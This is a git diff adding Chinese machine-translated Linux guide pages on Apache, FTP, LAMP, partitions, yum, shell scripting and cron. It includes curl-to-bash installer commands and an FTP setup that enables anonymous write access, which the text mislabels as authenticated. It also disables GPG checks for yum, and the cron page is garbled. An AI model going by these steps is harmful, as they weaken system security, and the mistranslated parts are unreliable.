+第1步：安装Apache服务器 `yum install httpd`
+
+步骤2：配置http Web服务器 `cd /etc/httpd/conf.d`
+
+第3步：创建扩展名为.conf的自定义配置文件。 `vim *.conf`
+
+第4步：启动Apache服务器 `systemctl start httpd.service`
+
+步骤5：在操作系统启动时自动启动Apache服务器。 `systemctl enable httpd.service`
+
+第6步：添加防火墙权限。 `firewall-cmd --add-service=http --permanent`
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/install-and-configure-ftp-server-in-linux-redhat/index.md b/client/src/guide/chinese/linux/install-and-configure-ftp-server-in-linux-redhat/index.md
new file mode 100644
index 0000000000..c147618f13
--- /dev/null
+++ b/client/src/guide/chinese/linux/install-and-configure-ftp-server-in-linux-redhat/index.md
@@ -0,0 +1,33 @@
+---
+title: Install and configure FTP server in Redhat/Centos Linux
+localeTitle: 在Redhat / Centos Linux中安装和配置FTP服务器
+---
+## 在Redhat / Centos Linux中安装和配置FTP服务器
+
+FTP代表文件传输协议。它由Abhay Bhushan撰写，并于1971年4月16日发布为RFC 114。 它受所有操作系统和浏览器的支持。它建立在客户端 - 服务器架构之上。
+
+## 在Redhat / Centos Linux中安装和配置FTP服务器
+
+第1步：我们将使用localhost为我们的机器设置ftp服务器。
+
+第2步：安装vsftpd（非常安全的FTP守护程序）包。
+
+`yum install -y vsftpd`
+
+步骤3：系统启动时启动FTP服务器。
+
+`systemctl enable vsftpd.service`
+
+步骤4：检查ftp服务器的状态
+
+`systemctl status vsftpd.service`
+
+第5步：配置vsftpd包。我们将编辑 `/etc/vsftpd/vsftpd.conf`
+
+`Change the line which contain anonymous_enable=NO to anonymous_enable=YES` `This will give permit any one to access FTP server with authentication.` `Change the following to YES` `local_enable=YES` `write_enable=YES<br>`
+
+第6步：启动FTP服务器 `systemctl start vsftpd.service`
+
+第7步：安装FTP客户端 `yum install -y lftpd`
+
+步骤8：将ftp连接到localhost `lftp localhost`
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/installing-cli-tools-developers-should-not-live-without-on-linux-and-mac/index.md b/client/src/guide/chinese/linux/installing-cli-tools-developers-should-not-live-without-on-linux-and-mac/index.md
new file mode 100644
index 0000000000..21f77ef2f9
--- /dev/null
+++ b/client/src/guide/chinese/linux/installing-cli-tools-developers-should-not-live-without-on-linux-and-mac/index.md
@@ -0,0 +1,63 @@
+---
+title: Installing CLI Tools Developers Should not Live Without on Linux and Mac
+localeTitle: 安装CLI工具开发人员不应该在Linux和Mac上不能使用
+---
+本文是关于如何安装开发人员在Macintosh和Linux环境中每天使用的关键命令行实用程序的简短说明。将显示的主要CLI工具是：Homebrew（Mac），Node和NPM，Bower，Gulp，Grunt和Tmux。
+
+## 安装Homebrew（Macintosh系统）
+
+Homebrew是'OS X缺少的包管理器'。它是直接从命令行下载和安装软件包的绝佳工具。 Linux发行版不需要这样做，因为它们已经默认安装了包管理器，例如`apt-get`或`pacman` 。要安装Homebrew，只需在终端中粘贴以下命令：
+
+*   `/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"`
+
+如果您遇到“Xcode Command Line Tools Missing”，请使用以下命令进行安装：
+
+*   `xcode-select --install`
+
+## 安装NPM
+
+`NPM`或节点包管理器是另一个有用的包管理器，主要用于下载Web工具。下载`NPM`还将安装Node.js框架。
+
+### 苹果电脑：
+
+*   使用`Homebrew`类型： `brew install node`和`NPM`应该已经安装。
+
+### Linux的：
+
+*   使用`apt-get` first type： `curl -sL https://deb.nodesource.com/setup_6.x | sudo -E bash -` ，然后`sudo apt-get install nodejs`
+*   使用`pacman`类型： `pacman -S nodejs npm`
+*   使用`yum`类型： `sudo yum install nodejs npm`
+*   使用`dnf`类型： `sudo dnf install nodejs`
+*   使用`zypper`类型： `sudo zypper install nodejs6`
+
+## 安装Bower
+
+Bower是一个流行的包管理器，允许您安装前端库。您可以使用`npm`使用以下命令在Linux和Macintosh系统上安装它：
+
+*   `npm install -g bower` （Linux和OS X的命令相同）
+
+## 安装Gulp
+
+`Gulp`是一个框架和CLI工具，通过自动化开发人员发现自己正在重复执行的任务，使开发更快，更愉快。此外，您可以通过`npm`安装`Gulp` ：
+
+*   `npm install -g gulp-cli`
+
+在单个项目文件夹中：
+
+*   `npm install --save-dev gulp`
+
+## 安装Grunt
+
+`Grunt`是另一种类似于`Gulp`流行自动化工具。要安装它，请再次使用`npm` ：
+
+*   `npm install -g grunt-cli`
+
+## 安装Tmux
+
+`Tmux`是Linux和Mac的终端多路复用器。它使您能够在同一个Bash窗口中拥有多个会话和窗口，并且还允许您“分离”可以通过SSH连接到的会话，从而使当前正在运行的所有程序保持运行。
+
+要在Linux上安装：
+
+*   `sudo apt install tmux`
+
+就是这样！使用这些工具，您的开发过程和内容将变得愉快和有效。如您所见，安装的主要工具是`npm` ，它允许您安装许多其他面向Web的CLI工具。
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/lamp-stack/index.md b/client/src/guide/chinese/linux/lamp-stack/index.md
new file mode 100644
index 0000000000..398d1a3572
--- /dev/null
+++ b/client/src/guide/chinese/linux/lamp-stack/index.md
@@ -0,0 +1,23 @@
+---
+title: The Linux, Apache, MySQL, and PHP Stack
+localeTitle: Linux，Apache，MySQL和PHP堆栈
+---
+## LAMP堆栈
+
+Linux服务器最常见的配置之一是LAMP堆栈，以最常用的组件（Linux，Apache，MySQL和PHP）命名。标准LAMP堆栈是开源的，免费提供，并且完整记录，为网站和Web应用程序开发提供灵活，标准化和安全的平台。
+
+### Linux的
+
+LAMP堆栈的操作系统组件通常是Linux的发行版，许多流行的Linux发行版（如Ubuntu和Red Hat）都有半自动方法来安装和配置其他组件。当Mac OSX替代Linux时，生成的堆栈有时被称为MAMP堆栈。类似地，当堆栈在Windows环境中构建时，它有时被称为WAMP堆栈。
+
+### 阿帕奇
+
+堆栈的Web服务器组件通常是Apache，互联网上最受欢迎的Web服务器。截至2014年6月，Apache估计服务于所有活跃网站的52.27％。近年来，许多系统管理员和Web开发人员选择用nginx替换Apache，这是一种在某些情况下可以更轻量级和更快速的Web服务器。产生的堆栈有时被称为LEMP堆栈。
+
+### MySQL的
+
+LAMP堆栈的关系数据库管理系统（RDBMS）层是MySQL。它有时被MariaDB（MySQL的高性能分支）或甚至不相关的数据库（如PostgreSQL或NoSQL数据库，如MongoDB）所取代。
+
+### PHP
+
+LAMP堆栈的服务器编程语言或中间件层通常是PHP，尽管它经常被Python，Perl或其他语言替代（或并用）。
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/linux-brief-history/index.md b/client/src/guide/chinese/linux/linux-brief-history/index.md
new file mode 100644
index 0000000000..7098477faa
--- /dev/null
+++ b/client/src/guide/chinese/linux/linux-brief-history/index.md
@@ -0,0 +1,19 @@
+---
+title: Linux Brief History
+localeTitle: Linux简史
+---
+## Linux简介
+
+GNU / Linux（通常简称Linux）是一个基于Linux内核和GNU实用程序和库的免费，开源，可定制的操作系统。它由数千名开发人员开发，并被全球数百万人，公司和政府使用。它是其他操作系统（如Windows和Mac OSX）的替代解决方案，具有许多不同的发行版或“风味”。一些最流行的发行版是Ubuntu，Red Hat Enterprise Linux（RHEL），Debian，Fedora，CentOS，OpenSuSE，Arch，Mint和Solus。它包括在其他操作系统中找到的用于常见任务的软件，例如运行办公应用程序，多媒体，图形和游戏。它还为编程和Web开发提供了强大的工具。 Linux可以在台式机，服务器，物联网设备和移动设备（Android）上运行。
+
+## 谁发明了Linux？
+
+当Linux是一名计算机科学专业的学生时，Linux在年轻而聪明的**Linus Torvalds**心目中萌芽。他曾经在UNIX OS（专有软件）上工作，并认为它需要改进。 然而，当他的建议被UNIX的设计者拒绝时，他想到启动一个操作系统，它将接受用户建议的更改和修改。 所以Linus在1991年设计了一个名为Linux的内核。虽然他需要像文件管理器，文档编辑器，音频 - 视频程序这样的程序来运行它。 随着时间的推移，他与麻省理工学院和Linux应用程序等其他程序员合作开始出现。因此，在1991年左右，一个正在运行的带有一些应用程序的Linux操作系统正式启动，这是当今最受欢迎的开源操作系统选项之一的开始。 早期版本的Linux不是那么用户友好，因为它们被计算机程序员使用，而Linus Torvalds从来没有考虑将其产品商业化。 这肯定限制了Linux的普及，因为其他商业化的操作系统Windows闻名。尽管如此，Linux操作系统的开源方面使其更加强大。
+
+#### 更多信息：
+
+[维基百科上的Linux](https://en.wikipedia.org/wiki/Linux)
+
+[Kernel.org - Linux内核官方网站](https://www.kernel.org/)
+
+[Distrowatch - Linux发行版的参考](http://distrowatch.com)
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/local-lamp-server-on-ubuntu/index.md b/client/src/guide/chinese/linux/local-lamp-server-on-ubuntu/index.md
new file mode 100644
index 0000000000..ca682bc6d0
--- /dev/null
+++ b/client/src/guide/chinese/linux/local-lamp-server-on-ubuntu/index.md
@@ -0,0 +1,59 @@
+---
+title: local-lamp-server-on-ubuntu
+localeTitle: 当地灯服务器上的Ubuntu
+---
## Ubuntu上的本地LAMP服务器
+
+本简要指南的目的是引导您完成在本地Ubuntu Linux计算机或虚拟机上设置LAMP（Linux，Apache，MySQL，PHP）服务器的过程。这将允许开发人员使用PHP和MySQL（使用phpMyAdmin）进行开发。这是Wordpress开发所必需的常见堆栈。
+
+### 安装必要的包
+
+您需要为LAMP服务器安装以下软件包。您可以通过一个空格分隔每个包，或者如图所示一次一个地安装它们。我更喜欢一次下载一个，因为更容易看出是否有任何错误。输入终端并键入以下内容：
+
+*   `sudo apt-get install apache2`
+*   `sudo apt-get install php`
+*   `sudo apt-get install php-mysql`
+*   `sudo apt-get install mysql-server`
+
+然后，系统会提示您为MySQL root用户设置密码。设置密码后继续安装：
+
+*   `sudo apt-get install libapache2-mod-php`
+*   `sudo apt-get install php-mcrypt`
+*   `sudo apt-get install phpmyadmin`
+
+然后，您应该按Enter键以提示哪个服务器使用select apache。 为高级服务器设置选择no。
+
+### 更改/ var / www / html的权限
+
+为了让LAMP服务器运行php脚本和文件，需要将它们保存在/ var / www / html目录中。您可以将此位置视为本地服务器。为了更改此目录，我们需要更改它的权限。在终端输入命令：
+
+*   `sudo chown {your ubuntu username} /var/www/html`
+
+### 创建一个phpMyAdmin的符号链接
+
+默认情况下，phpMyAdmin安装在/ usr / share /目录中。我们需要将它移动到我们的本地服务器目录。我们导航到我们想要链接的服务器目录：
+
+*   `cd /var/www/html`
+
+然后输入命令创建链接：
+
+*   `ln -s /usr/share/phpmyadmin phpmyadmin`
+
+### 重启Apache并测试
+
+运行以下命令以重新启动Apache设置所做的更改：
+
+*   `sudo systemctl restart apache2`
+
+然后，您应该能够在/ var / www / html目录中创建info.php文件。
+
+*   `touch /var/www/html/info.php`
+
+在文件中键入以下php代码：
+
+*   `<?php phpinfo(); ?>`
+
+然后，打开浏览器并输入localhost / info.php 您应该从刚刚编写的php文件中看到一个页面，它为您提供有关php的信息。
+
+最后，要访问phpMyAdmin，请在浏览器中访问localhost / phpmyadmin。 defualt root用户名是'root'，密码是你之前为MySQL数据库选择的密码。
+
+### 更多信息
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/making-partitions-in-linux/index.md b/client/src/guide/chinese/linux/making-partitions-in-linux/index.md
new file mode 100644
index 0000000000..8af61b692c
--- /dev/null
+++ b/client/src/guide/chinese/linux/making-partitions-in-linux/index.md
@@ -0,0 +1,185 @@
+---
+title: Partitions
+localeTitle: 分区
+---
## PARTITIONS
+
+*   如果不在硬盘中创建分区，我们就无法创建文件夹。
+    
+*   Linux中的分区 -
+    
+    *   **DF**
+    *   **df -h** （人类可读）
+*   以MiB，GiB显示大小
+    
+*   **lvdisplay命令**
+    
+*   显示有关磁盘分区的信息 -
+    
+*   **fdisk -l**
+    
+*   **fdisk -l / dev / sda** （sda是硬盘的名称）
+    
+*   对于练习分区，请使用虚拟框在Linux中插入虚拟硬盘。
+    
+*   有些要记住的要点
+    
+*   硬盘不懂GB或MB，它的单位是扇区。  
+    1扇区= 512字节。  
+    要查找硬盘的实际大小，请查找扇区数\* 512。  
+    在扇区中分配硬盘空间。
+    
+*   在单个硬盘中只能创建4个分区。
+    
+
+  
+
+## 在硬盘中制作分区
+
+1.  打开硬盘提示符。
+    
+    *   **fdisk / dev / sdb**
+2.  打印硬盘的分区信息。
+    
+    *   **p**
+3.  创建一个新分区。
+    
+    *   **ñ**
+4.  选择主分区。
+    
+5.  按1（第1分区）
+    
+6.  最初的一些扇区（0-2047 = 2048扇区= 1 MB）保留在硬盘中。
+    
+7.  实际空间从第2048个扇区开始。
+    
+8.  **\+ 1G**
+    
+9.  像这样创建4个分区。
+    
+10.  在第4次分区后，您无法创建更多分区。
+    
+11.  按**w**进行保存。
+    
+12.  按**q**退出而不保存任何分区。 这将删除所有分区，因为这是暂时的。
+    
+13.  删除分区 -
+    
+    *   **d**
+
+  
+
+## 为什么限制为4？
+
+*   因为我们存储分区的信息，分区的元数据是固定的，并且是64字节。此信息存储在分区表中。
+*   1个分区需要16个字节，因此只能创建4个分区。
+*   在硬盘中保留的1 MB（2048个扇区）中，保留64个字节用于存储该信息。
+*   要查看分区表 -
+*   **fdisk -l**
+*   当我们第一次使用硬盘时，它会被初始化或格式化。该格式决定了硬盘中的分区数。
+*   操作系统在首次初始化时会创建一种硬盘格式，并且该格式决定了分区数。
+*   我们使用的分区格式是DOS格式= 64字节
+*   GPT格式=可以创建128个分区。
+*   分区表 - >格式：DOS - > 4个分区
+*   分区表 - >格式：GPT - > 128个分区
+
+  
+
+## 增加分数
+
+*   在硬盘中创建新的分区表。
+    
+*   P4分区将以一种单独的硬盘形式创建。
+    
+*   这个分区是扩展分区，我们可以在其中创建更多分区。
+    
+*   逻辑分区占用扩展分区中的空间。信息或分区表将存储在扩展分区中。
+    
+*   创建3个主分区和最后1个扩展分区。
+    
+*   现在可以制作总共64个分区。 3个主要+ 60个逻辑+ 1个扩展。
+    
+*   但是63个分区可用于数据存储（删除1个扩展分区）。
+    
+*   主分区和逻辑分区之间没有区别，除了没有人控制主分区但逻辑分区由扩展控制。因此，如果我们删除扩展分区，则将删除所有逻辑分区。
+    
+*   要查看分区信息 -
+    
+*   **lsblk** （块设备列表）
+    
+*   硬盘也称为块设备
+    
+*   扩展分区不能用于数据存储，只能使用逻辑和主数据。
+    
+*   如果必须使用分区进行存储，请遵循以下3个步骤 -
+    
+
+1.  创建物理分区。
+2.  格式化它。
+3.  激活/安装。
+
+  
+
+## 格式分区
+
+*   分区必须为每个新文件创建索引，以便加快处理速度。
+    
+*   无论何时打开文件，都要在索引中找到该文件。
+    
+*   当第一次格式化时，该索引在分区中形成。它也被称为文件系统。
+    
+*   此索引表称为inode（索引节点）表。 因此，每个分区都必须格式化。
+    
+*   操作系统只读取inode表以显示文件夹，文件，驱动器等的大小。
+    
+*   可以更改此inode表，然后OS将显示与实际大小不同的大小。
+    
+*   删除文件时，它只删除该文件的inode条目。
+    
+*   例如，删除大小为1GB和100 GB的文件，时间将相同。
+    
+*   当我们格式化分区时，它只删除索引页面，不会删除数据。因此，我们可以从该分区恢复数据。
+    
+*   文件系统创建inode表来管理文件。
+    
+*   格式化分区 -
+    
+*   **mkfs.ext4 / dev / sdb1**
+    
+*   示例 - NTFS，ext2，ext3，ext4，xfs等。
+    
+
+  
+
+## 安装或激活
+
+*   操作系统中只能使用两种东西 - 文件和文件夹
+    
+*   我们不能直接进入设备。因此，创建的设备必须在文件夹中转换或链接到文件夹或者使用文件夹挂载才能使用它。
+    
+*   **mkdir / data**
+    
+*   **mount / dev / sdb1 / data** （此数据类似于笔式驱动器的安装和卸载）
+    
+*   **cd / data**
+    
+*   **cat> adarsh.txt**
+    
+*   **umount / dev / sdb1**
+    
+*   **cd / data /**
+    
+*   **LS**
+    
+*   再次登上
+    
+*   要了解哪个分区安装在哪个文件夹中。
+    
+*   **df -h**
+    
+*   显示inode表。
+    
+*   **ls -l**
+    
+*   显示inode编号。
+    
+*   ls -il
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/origins-of-linux-and-the-free-software-movement/index.md b/client/src/guide/chinese/linux/origins-of-linux-and-the-free-software-movement/index.md
new file mode 100644
index 0000000000..5413c2b04a
--- /dev/null
+++ b/client/src/guide/chinese/linux/origins-of-linux-and-the-free-software-movement/index.md
@@ -0,0 +1,13 @@
+---
+title: Origins of Linux and the Free Software Movement
+localeTitle: Linux的起源与自由软件运动
+---
+20世纪80年代，一位着名的麻省理工学院黑客为名为[Richard Stallman](https://en.wikipedia.org/wiki/Richard_Stallman)的人工智能实验室工作，他自由地促进了知识和思想的共享，特别是在软件领域。 [UNIX](https://en.wikipedia.org/wiki/Unix)是工程和科学界的许多人选择的[操作系统](https://en.wikipedia.org/wiki/Operating_system) （OS），但问题是UNIX是[专有软件](https://en.wikipedia.org/wiki/Proprietary_software) 。这意味着只有操作系统的供应商才能访问[源代码](https://en.wikipedia.org/wiki/Source_code) 。这与斯托曼的哲学背道而驰。这不仅意味着最终用户不被允许看到软件是如何工作的，他们也无法做出任何改进或修复。
+
+Stallman创建了[自由软件基金会](https://en.wikipedia.org/wiki/Free_Software_Foundation) （FSF），该[基金会](https://en.wikipedia.org/wiki/Free_Software_Foundation)支持[自由软件运动](https://en.wikipedia.org/wiki/Free_software_movement)的理想（使用和协作开放和免费软件的个人）。它还负责在1984年启动[GNU项目](https://en.wikipedia.org/wiki/GNU_Project) ，这是第一次尝试不是UNIX的免费操作系统（GNU是'GNU而不是UNIX'的[递归缩写](https://en.wikipedia.org/wiki/Recursive_acronym) ）。 GNU项目将包括在UNIX系统上找到的所有有用的东西，但是从头开始编写。更重要的是，与操作系统一起，源代码也可以合法地提供给那些想要它的人。我们的想法是，自由地交换操作系统的源代码和内部知识将鼓励协作开发，这反过来会创建更好的操作系统产品。 GNU项目最终导致了[GNU公共许可证](https://en.wikipedia.org/wiki/GNU_General_Public_License) （GPL），该[许可证](https://en.wikipedia.org/wiki/GNU_General_Public_License)将在其下发布的所有软件合法化，并且可以免费提供，并且需要提供源代码。虽然GPL取得了成功，并且至今仍在使用免费软件，但GNU项目从未按计划进行过。另一位黑客介入并向世界提供了一个免费操作系统的实现。
+
+来自赫尔辛基大学的芬兰学生[Linus Torvalds](https://en.wikipedia.org/wiki/Linus_Torvalds)首先创建了[Linux](https://en.wikipedia.org/wiki/Linux)内核，同时试验了由[Andrew Tanebatum](https://en.wikipedia.org/wiki/Andrew_S._Tanenbaum)开发的用于教育目的的免费和较小版本的UNIX，称为[MINIX](https://en.wikipedia.org/wiki/MINIX) 。 Linus希望有一个类似的免费操作系统，不受限于纯粹教育用途的限制。他创造的Linux他许可在GPL下和在1991年（分布在互联网上的Linux内核电流源代码和工作可以在GitHub上找到[这里](https://github.com/torvalds/linux) 。莱纳斯没有使用从MINIX任何代码，但他发现合并功能在MINIX / UNIX中，这就是Linux通常被称为[“类UNIX”](https://en.wikipedia.org/wiki/Unix-like)或“UNIX克隆”的原因。
+
+尽管GNU Project从未创建过完全成熟的免费操作系统，但它确实创建了许多用于与内核交互的系统软件，这对于运行良好的操作系统至关重要。因此，Linux内核和GNU核心系统程序的结合使得完全免费的操作系统成为可能。
+
+随着时间的推移，Linux开始在自由软件运动中引起强烈关注。全世界成千上万的开发人员开始尝试和使用它，在他们认为合适的地方做出贡献。随着它变得更加稳定和功能丰富，企业慢慢开始采用Linux作为满足其需求的解决方案，甚至开始为Linux本身做出贡献。 Linux到目前为止已经到达许多设备和环境，并且越来越受欢迎。
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/setting-up-yum-repositories-in-redhat-linux/index.md b/client/src/guide/chinese/linux/setting-up-yum-repositories-in-redhat-linux/index.md
new file mode 100644
index 0000000000..cff93eca92
--- /dev/null
+++ b/client/src/guide/chinese/linux/setting-up-yum-repositories-in-redhat-linux/index.md
@@ -0,0 +1,47 @@
+---
+title: Setting Up Yum Repositories in RedHat/CentOS Linux
+localeTitle: 在RedHat / CentOS Linux中设置Yum存储库
+---
+YUM存储库是Linux软件（RPM包文件）的仓库。
+
+RPM包文件是Red Hat Package Manager文件，可以在Red Hat / CentOS Linux上快速轻松地安装软件。
+
+## 在RedHat CentOS Linux中设置Yum存储库
+
+第1步：检查是否存在现有存储库。
+
+```sh
+#yum repolist 
+```
+
+你会发现没有存储库。
+
+第2步：将目录更改为
+
+```sh
+#cd /etc/yum.repos.d 
+```
+
+第3步：创建新文件
+
+```sh
+#vim myrepo.repo 
+```
+
+第4步：在文件中键入以下行
+
+```sh
+[file-name] 
+ name=filename 
+ baseurl="location of yum repositories" 
+ gpgcheck=0 
+```
+
+第5步：保存并退出
+
+第6步：重复步骤1
+
+```sh
+You Will find repositories 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/shell-scripting/index.md b/client/src/guide/chinese/linux/shell-scripting/index.md
new file mode 100644
index 0000000000..7a89889d76
--- /dev/null
+++ b/client/src/guide/chinese/linux/shell-scripting/index.md
@@ -0,0 +1,45 @@
+---
+title: Shell scripting
+localeTitle: Shell脚本
+---
+# Shell脚本
+
+在命令行中，shell脚本是包含集合的可执行文件 shell将执行的指令。它的主要目的是减少 只有一个文件中的一组指令（或命令）。它也可以处理 一些逻辑，因为它是一种编程语言。
+
+## 如何创建它
+
+1）创建文件：
+
+```bash
+$ touch myscript.sh 
+```
+
+2）在文件的开头添加一个[shebang](https://en.wikipedia.org/wiki/Shebang_(Unix)) 。 Shebang行负责让命令解释器知道将运行shell脚本的解释器：
+
+```bash
+$ echo "#!/bin/bash" > myscript.sh 
+ # or 
+ $ your-desired-editor myscript.sh 
+ # write at the first line #!/bin/bash 
+```
+
+3）添加一些命令：
+
+```bash
+$ echo "echo Hello World!" >> myscript.sh 
+```
+
+4）给出文件_执行_模式：
+
+```bash
+$ chmod +x myscript.sh 
+```
+
+5）执行它！
+
+```bash
+$ ./myscript.sh 
+ Hello World! 
+```
+
+有关shell-scripting的更多信息，请[访问此处](https://www.shellscript.sh/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/some-usages-for-linux/automating-tasks/index.md b/client/src/guide/chinese/linux/some-usages-for-linux/automating-tasks/index.md
new file mode 100644
index 0000000000..ad6986f77f
--- /dev/null
+++ b/client/src/guide/chinese/linux/some-usages-for-linux/automating-tasks/index.md
@@ -0,0 +1,173 @@
+---
+title: Automating Tasks
+localeTitle: 自动化任务
+---
+### 自动化任务或任务计划
+
+Linux的一项功能专门用于Web服务器，称为CRON 我们知道任何Web服务器最引人注目的功能之一就是它始终如一 开机并始终连接到互联网。这意味着我们可以指导 我们的服务器自动执行任务，无需我们输入命令 变成一个壳。执行_其他程序_最常用的_程序之一_ 常规频率称为`cron` 。我们来看看如何使用 `cron`安排一个程序运行。
+
+`cron`程序是称为**守护进程的程序**系列的一部分。一个守护进程 是一个始终在我们的计算机后台运行的程序。第一， 让我们看看`cron`是否正在运行。我们可以获得所有正在运行的程序的列表 使用`-A`标志时使用`ps`命令：
+
+\`\`\`{r，engine ='bash'，eval = FALSE} ps -A
+
+## PID TTY TIME CMD
+
+## 1？ 00:00:13 systemd
+
+## 2？ 00:00:00 kthreadd
+
+## 3？ 00:00:03 ksoftirqd / 0
+
+## 5？ 00:00:00 kworker / 0：0H
+
+## 7？ 00:00:11 rcu\_sched
+
+## 8？ 00:00:00 rcu\_bh
+
+## 9？ 00:00:00迁移/ 0
+
+## ...
+```
+You probably have a huge list of programs in your terminal now! Instead of 
+ shifting through this listing line-by-line, let's pipe the output of this command 
+ to `grep` and we'll look for `cron`: 
+```
+
+{r，engine ='bash'，eval = FALSE} ps -A | grep“cron”
+
+## 1273？ 00:00:01 cron
+```
+# You might or might not get a `cron` running . 
+ 
+ Looks like the `cron` daemon is running! In order to assign programs to be 
+ executed with `cron` we need to edit a special text file called the `cron` 
+ table. Before we edit the `cron` table we need to select the default text 
+ editor. If you like using `nano` (the text editor we've been using throughout 
+ this book) then enter `select-editor` into the console, type in the number 
+ that corresponds to `nano` (usually `2`) and then press enter: 
+```
+
+{r，engine ='bash'，eval = FALSE} 选择编辑器
+
+## 选择一个编辑器。要稍后更改，请运行“select-editor”。
+
+## 1\. / bin / ed
+
+## 2\. / bin / nano <----最简单
+
+## 3\. /usr/bin/vim.basic
+
+## 4\. /usr/bin/vim.tiny
+
+## 选择1-4 \[2\]：
+```
+Now that we've chosen a text editor we can edit the `cron` table using the 
+ command `crontab -e` (**`cron`** **tab**le **e**dit) which will automatically 
+ open `nano` with the appropriate file. 
+```
+
+{r，engine ='bash'，eval = FALSE} crontab -e
+
+# 编辑此文件以介绍要由cron运行的任务。
+
+＃
+
+# m h dom mon dow命令
+```
+Let's go over the layout of the `cron` table. First you should notice that any 
+ text after a pound sign (`#`) is a comment, so it's not seen by `cron` (just 
+ like bash comments). The `cron` table has six columns: 
+ 
+ 1. Minute (`m`) 
+ 2. Hour (`h`) 
+ 3. Day of Month (`dom`) 
+ 4. Month (`mon`) 
+ 5. Day of Week (`dow`) 
+ 6. Command to be run (`command`) 
+ 
+ Each column is separated by a single space in the table. The first five columns 
+ allow you to specify when you want a particular command to be run. Only certain 
+ values are valid in each column: 
+ 
+ 1. Minute: `00 - 59` (A particular minute in an hour) 
+ 2. Hour: `00 - 23` (0 is the midnight hour) 
+ 3. Day of Month: `01 - 31` (1 is the first day of the month) 
+ 4. Month: `01 - 12` (1 is January) 
+ 5. Day of Week `0 - 6` (0 is Sunday) 
+ 
+ There are also a few other characters that are valid in the `cron` table. The 
+ most commonly used character is a star (`*`) which represents *all* of the 
+ possible values in a column. So a star in the Minute column means "run every 
+ minute," and a star in the Hour column means "run during every hour." 
+ Knowing this let's make our first entry in the `cron` table. If we want a 
+ command to be executed every minute, during every hour, on every day of the 
+ month, during every month, on every day of the week, then we can put stars in 
+ all of the first five 
+ columns, followed by the command that we want to run. In this case the command 
+ that `cron` will run every minute will be `date >> ~/date-file.txt`, which will 
+ append the date and time when the command is executed to a file in our home 
+ directory called `date-file.txt`. This is what your `cron` table should look 
+ like before you save and exit from `nano`: 
+```
+
+# 编辑此文件以介绍要由cron运行的任务。
+
+＃
+
+# m h dom mon dow命令
+
+*   \* \* \* \* date >>〜/ date-file.txt
+```
+Save and exit `nano` just like you would for a regular text file and then wait 
+ a little bit! After a minute has gone by use `cat` to look at `~/date-file.txt`: 
+```
+
+{r，engine ='bash'，eval = FALSE} 光盘 cat date-file.txt
+
+## Thu Jun 8 18:50:01 UTC 2017
+```
+Look like our entry in the `cron` table is working! Wait another minute and then 
+ look at the file again: 
+```
+
+{r，engine ='bash'，eval = FALSE} cat date-file.txt
+
+## Thu Jun 8 18:50:01 UTC 2017
+
+## 星期四8月18日18:51:01 UTC
+```
+Unless we delete the line that we entered in the `cron` table, the output from 
+ `date` will be appended to `date-file.txt` every minute. 
+ 
+ The single line of bash `date >> ~/date-file.txt` is a much simpler program than 
+ we would probably use in a `cron` table, though it's good for illustrating how 
+ a `cron` table works. If you want to do more complex tasks with `cron` it's 
+ better for `cron` to execute a bash script that you've written in advance. That 
+ way you can just specify `bash /path/to/script.sh` in the last column of the 
+ table. 
+ 
+ Using stars in all columns is the simplest line of a `cron` table, so let's 
+ look at some examples of more complex table entries: 
+```
+
+# m h dom mon dow命令
+
+00 \* \* \* \* bash /path/to/script.sh#每小时开始运行一次 00 12 \* \* \* bash /path/to/script.sh#每天中午运行
+
+*   12 \* \* \* bash /path/to/script.sh#在下午12点到12点59分之间每分钟运行一次 00 00 05 \* \* bash /path/to/script.sh#每个月的第5天午夜运行 00 00 \* 07 \* bash /path/to/script.sh#在7月的午夜每天运行 00 00 \* \* 2 bash /path/to/script.sh#每周二午夜运行
+```
+Besides numbers and the star there are a few other characters that you can use 
+ in `cron` table columns including a hyphen (`-`) for specifying ranges and a 
+ comma (`,`) for specifying lists of items. For example `00-29` in the Minutes 
+ column would specify the first thirty minutes of an hour, while `1,5` in the 
+ Day of Week column would specify Monday and Friday. 
+ 
+ Let's take a look at another example of a `cron` table that uses hyphens and 
+ ranges so you can get a sense of how each character works. 
+```
+
+# m h dom mon dow命令
+
+00-04 \* \* \* \* bash /path/to/script.sh#每小时的前五分钟每分钟运行一次 00 00 \* \* 0,6 bash /path/to/script.sh#每周六和周日午夜运行 00 03 01-15 \* \* bash /path/to/script.sh#每个月的前十五天凌晨3点运行 00,30 \* \* \* \* bash /path/to/script.sh#在每小时的开始和中间运行 00 00,12 \* \* \* bash /path/to/script.sh#每天午夜和中午运行 00 \* 01-07 01,06 \* bash /path/to/script.sh#在1月和6月的前七天每小时开始运行 \`\`\`
+
+由`cron`运行的程序只有你想象的强大 可以伸展！如果您熟悉社交网络 [Twitter](https://twitter.com/)然后你可能会遇到一些Twitter 自动创建帖子的帐户 [表情符号水族馆](https://twitter.com/emojiaquarium) ， [老水果图片](https://twitter.com/pomological) ，或 [无尽的尖叫](https://twitter.com/infinite_scream) 。许多这些“机器人” 帐户由`cron`提供支持，后者使用Twitter的HTTP API发布推文 经常。
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/some-usages-for-linux/index.md b/client/src/guide/chinese/linux/some-usages-for-linux/index.md
new file mode 100644
index 0000000000..d87d0d9c49
--- /dev/null
+++ b/client/src/guide/chinese/linux/some-usages-for-linux/index.md
@@ -0,0 +1,18 @@
+---
+title: Some Usages for Linux
+localeTitle: Linux的一些用法
+---
+*   Linux现在通过[Android](https://en.wikipedia.org/wiki/Android_(operating_system)操作系统（基于Linux内核）在全球大多数智能手机和平板电脑上运行。截至2016年3月，Android在移动设备（平板电脑和智能手机）上占有[60.99％](https://www.netmarketshare.com/operating-system-market-share.aspx?qprid=8&qpcustomd=1)的市场份额。仅智能手机也[占82.8％](http://www.idc.com/prodserv/smartphone-os-market-share.jsp) （2015年第二季度数据）。
